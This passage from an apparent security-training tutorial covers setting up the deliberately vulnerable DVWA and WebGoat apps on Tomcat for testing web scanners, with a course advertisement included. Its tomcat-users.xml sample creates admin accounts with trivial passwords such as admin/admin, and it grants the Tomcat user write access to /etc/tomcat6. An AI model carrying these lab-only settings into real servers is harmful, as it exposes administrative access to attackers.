On the left side of the application there’s a menu which we can use to navigate through the application. The DVWA web application contains the following vulnerability types:

• Brute Force Login
• Command Execution
• CSRF
• File Inclusion
• SQL Injection
• Upload Vulnerability
• XSS

We can start solving those challenges immediately or we can input the appropriate URIs to the web vulnerability scanner.
WebGoat

The WebGoat standard installation file already contains the Tomcat web server and Java JRE, which is why we don’t need to install those separately. But let’s just present what we would have to do if those were not present; this is included just to better introduce the default standalone Webgoat package. First we would need to install the Tomcat web server which will be used to host the WebGoat application. We can install the Tomcat web server with the command below:

Want to learn more?? The InfoSec Institute Ethical Hacking course goes in-depth into the techniques used by malicious, black hat hackers with attention getting lectures and hands-on lab exercises. While these hacking skills can be used for malicious purposes, this class teaches you how to use the same hacking techniques to perform a white-hat, ethical hack, on your organization. You leave with the ability to quantitatively assess and measure threats to information assets; and discover where your organization is most vulnerable to black hat hackers. Some features of this course include:

• Dual Certification - CEH and CPT
• 5 days of Intensive Hands-On Labs
• Expert Instruction
• CTF exercises in the evening
• Most up-to-date proprietary courseware available

VIEW ETHICAL HACKING

# apt-get install tomcat6 tomcat6-admin tomcat6-examples tomcat6-docs

The package tomcat6 is the actuall Tomcat web server, whereas tomcat6-admin is used to administer the Tomcat web server. The tomcat6-examples provides useful Tomcat examples, whereas the tomcat6-docs installs the Tomcat documentation.
When we want to get server status and restart web applications, we need to access the URI http://yourserver:8080/manager/html, which is password protected. We need to create a user with a role manager in /etc/tomcat6/tomcat-users.xml.
We can also create virtual hosts if we connect to the URI http://yourserver:8080/host-manager/html, which is also password protected. To access it, we must create a user with a role admin in /etc/tomcat6/tomcat-users.xml.
When administering the Tomcat web server, some features need write access to the /etc/tomcat6/ directory, which isn’t granted to the Tomcat user by default. This is why we need to grant the tomcat6 user permissions to that directory. We can do that with the commands below:
# chown tomcat6:tomcat6 /etc/tomcat6 -R

# chmod ug+w /etc/tomcat6 -R

Add the Tomcat admin users by editing the /etc/tomcat6/tomcat-users.xml configuration file. The configuration file should contain the following:
    <?xml version=’1.0′ encoding=’utf-8′?>

    <tomcat-users>

        <role rolename=”admin”/>

        <role rolename=”manager”/>

        <user username=”tomcatadmin” password=”admin” roles=”admin,manager”/>

        <role rolename=”webgoat_basic”/>

        <role rolename=”webgoat_user”/>

        <role rolename=”webgoat_admin”/>

        <user username=”basic” password=”basic” roles=”webgoat_basic,webgoat_user”/>

        <user username=”guest” password=”guest” roles=”webgoat_user”/>

        <user username=”webgoat” password=”webgoat” roles=”webgoat_admin”/>

        <user username=”admin” password=”admin” roles=”webgoat_admin”/>

    </tomcat-users>

We added a new administrator user with username tomcatadmin and password admin. We also added WebGoat usernames basic, guest and webgoat with appropriate passwords. This is needed for being able to login to the WebGoat web application.
After that we can start Tomcat web server normally with the command:
# /etc/init.d/tomcat6 start

The port 8080 should be opened and in LISTENing state:

# netstat -lntup

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp6 0 0 :::8080 :::* LISTEN 6864/java

When connecting to the Tomcat web server on the URI address http://localhost:8080 we can see the following default Tomcat webpage:

It really isn’t much, but the links introduced on the webpage can display the documentation, samples and administrative interface.
We must download the WebGoat application WAR file:
# wget http://webgoat.googlecode.com/files/WebGoat-5.4.war

To install the WAR file, we must connect to the URI http://127.0.0.1:8080/manager/html and click on the “WAR file to deploy”, which is presented in the picture below:

When we click on the Deploy button, the WebGoat-5.4.war file will be uploaded to the Tomcat web server and installed.
But we can avoid all of this if we use the default standalone Tomcat package. First we need to download and extract it:
# unzip WebGoat-5.4-OWASP_Standard_Win32.zip

# cd WebGoat-5.4/

# ./webgoat.sh start8080

This will start the Tomcat web server on port 8080 and the WebGoat application should be accessible on the http://localhost:8080/WebGoat/attack URI. This can be seen in the picture below:

Ok, we can see the WebGoat entry website. To actually start WebGoat, we need to press on the “Start WebGoat” button. The WebGoat is immediately started and we’re redirected to the Web site presented below:

Now we have a working WebGoat vulnerable application and we can start testing various attacks on it. The following categories are available:

• Introduction
• General
• Access Control Flaws
• AJAX Security
• Authentication Flaws
• Buffer Overflows
• Code Quality
• Concurrency
• Cross-Site Scripting (XSS)
• Improper Error Handling
• Injection Flaws
• Denial of Service
• Insecure Communication
• Insecure Configuration
• Insecure Storage
• Malicious Execution
• Parameter Tampering
• Session Management Flaws
• Web Services
• Admin Functions

We’ve seen that it really pays off to use the standalone WebGoat package, since we don’t need to bother with installation and configuration of Tomcat web server, and we also don’t have to deploy the WebGoat war file.
Conclusion
We can see that WebGoat and DVWA contain mostly different vulnerabilities. That is why when trying to test a specific web application scanner, it’s best to compare the results of chosen scanners against both web vulnerable applications. If we have an option, it would also be great to test all the scanners against real websites; just to be sure that one scanner is indeed better than the other. Of course the targeted website should contain at least one vulnerability so the web scanners can actually find something, otherwise it’s not possible for them to detect something that isn’t there.